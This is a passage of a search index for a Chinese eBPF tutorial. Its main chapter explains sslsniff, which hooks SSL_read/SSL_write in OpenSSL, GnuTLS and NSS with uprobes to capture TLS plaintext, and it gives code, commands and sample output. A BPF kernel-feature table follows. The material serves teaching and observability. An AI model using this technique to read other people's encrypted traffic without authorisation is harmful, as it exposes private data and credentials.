是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"206","title":"eBPF 和 uprobe"},"207":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"207","title":"用户态库"},"208":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"208","title":"OpenSSL API 分析"},"209":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"209","title":"1. SSL_read 函数"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"210","title":"2. SSL_write 函数"},"211":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"211","title":"eBPF 内核态代码编写"},"212":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"212","title":"数据结构"},"213":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"213","title":"Hook 函数"},"214":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"214","title":"Hook到握手过程"},"215":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"215","title":"用户态辅助代码分析与解读"},"216":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"216","title":"1. 支持的库挂载"},"217":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"217","title":"2. 详细挂载逻辑"},"218":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"218","title":"编译与运行"},"219":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"219","title":"启动 sslsniff"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"220","title":"执行 CURL 命令"},"221":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"221","title":"sslsniff 输出"},"222":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"222","title":"显示延迟和握手过程"},"223":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"223","title":"16进制输出"},"224":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 总结","id":"224","title":"总结"},"225":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Linux 内核版本的 BPF 功能","id":"225","title":"Linux 内核版本的 BPF 功能"},"226":{"body":"内核版本 提交 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF支持","id":"226","title":"eBPF支持"},"227":{"body":"可以使用以下命令获取内核支持的体系结构列表： git grep HAVE_EBPF_JIT arch/ 功能 / 体系结构 内核版本 提交 x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 JIT机器的常量混淆 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 常量混淆 - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT编译","id":"227","title":"JIT编译"},"228":{"body":"其中几个（但不是全部） 主要特性 可以转换为 eBPF 程序类型。 您的内核支持的此类程序类型的列表可以在文件 include/uapi/linux/bpf.h 中找到： git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h 特性 内核版本 提交 AF_PACKET (libpcap/tcpdump, cls_bpf 分类器, netfilter 的 xt_bpf, team 驱动程序的负载均衡模式…) 3.15 bd4cf0ed331a 内核助手 3.15 bd4cf0ed331a bpf() 系统调用 3.18 99c55f7d47c0 Maps ( 又名 表; 详见下文) 3.18 99c55f7d47c0 BPF 附加到套接字 3.19 89aa075832b0 BPF 附加到 kprobes 4.1 2541517c32be cls_bpf / act_bpf 用于 tc 4.1 e2e9b6541dd4 尾调用 4.2 04fd61ab36ec 非根程序上的套接字 持久映射和程序（虚拟文件系统） 4.4 b2197755b263 tc的direct-action(da)模式 4.4 045efa82ff56 tc的clsactqdisc 4.5 1f211a1b929c BPF连接到跟踪点 4.7 98b5c2c65c29 直接数据包访问 4.7 969bf05eb3ce XDP（参见下文） 4.8 6a773a15a1e8 BPF连接到性能事件 4.9 0515e5999a46 tc的cls_bpf的硬件卸载 4.9 332ae8e2f6ec 验证器暴露和内部钩子 4.9 13a27dfc6697 BPF连接到 cgroups 用于套接字过滤 4.10 0e33661de493 轻量级隧道封装 4.10 3a0af8fd61f9 e BPF对xt_bpf模块（iptables）的支持 4.10 2c16d6033264 BPF程序标签 4.10 7bd509e311f4 跟踪点以调试BPF 测试/基准测试BPF程序 4.12 1cf1cae963c2 BPF程序和映射ID 4.13 dc4bb0e23561 BPF对sock_ops的支持 4.13 40304b2a1567 BPF对套接字上的skb的支持 4.14 b005fd189cec 内核源码中的bpftool实用程序 4.15 71bb428fe2c1 BPF附加到cgroups作为设备控制器 4.15 ebc614f68736 bpf2bpf函数调用 4.16 cc8b0b92a169 BPF用于监视套接字RX/TX数据 4.17 4f738adba30a BPF附加到原始跟踪点 4.17 c4f6699dfcb8 BPF附加到bind()系统调用 4.17 4fbac77d2d09 aac3fc320d94 BPF附加到connect()系统调用 4.17 d74bad4e74ee BPF 类型格式（BTF） AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 seg6local LWT 的 End.BPF 操作 4.18 004d4b274e2a BPF 附加到 LIRC 设备 4.18 f4364dcfc86d 将映射值传递给映射助手 4.18 d71962f3e627 BPF 套接字复用端口 4.19 2dbb9b9e6df6 BPF 流解剖器 4.20 d58e468b1112 BPF 1M 指令限制 5.2 c04c0d2b968a BPF 控制组 sysctl 5.2 7b146cebe30c BPF 原始跟踪点可写 5.2 9df1c28bb752 BPF 有界循环 5.3 2589726d12a1 BPF 跳板 5.5 fec56f5890d9 BPF LSM 钩子 5.7 fc611f47f218 641cd7b06c91 BPF 迭代器 5.8 180139dca8b3 BPF套接字查找挂钩 可睡眠的BPF程序 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » 主要特性","id":"228","title":"主要特性"},"229":{"body":"程序类型 内核版本 提交 枚举 套接字过滤器 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE 流量控制(TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS 流量控制(TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT 跟踪点 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP 性能事件 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup套接字过滤 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup套接字修改 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK 轻量级隧道(IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN\".lightweight tunnel (OUT) 轻量级隧道 (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT 轻量级隧道 (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS cgroup sock操作 (每个连接) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB 流分析器 / 流判定 | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB cgroup device manager | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE cgroup设备管理器 | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG 套接字消息判定 | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG Raw tracepoint | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT 裸跟踪点 | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT socket binding | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR 套接字绑定 | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL 轻量级隧道seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lirc设备 | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT 查找SO_REUSEPORT套接字 | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT flow dissector | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTOR 流解析器 | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTORcgroup sysctl | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL 可控 cgroup | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE 可写原始跟踪点 | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING 追踪 (BTF/BPF 弹跳) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING struct ops | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS 结构操作 | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS extensions | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT 扩展 | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT LSM | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM LSM (Linux安全模块) | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM lookup listening socket | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP 查询监听套接字 | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL 允许执行系统调用 | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"229","title":"程序类型"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用 kprobes 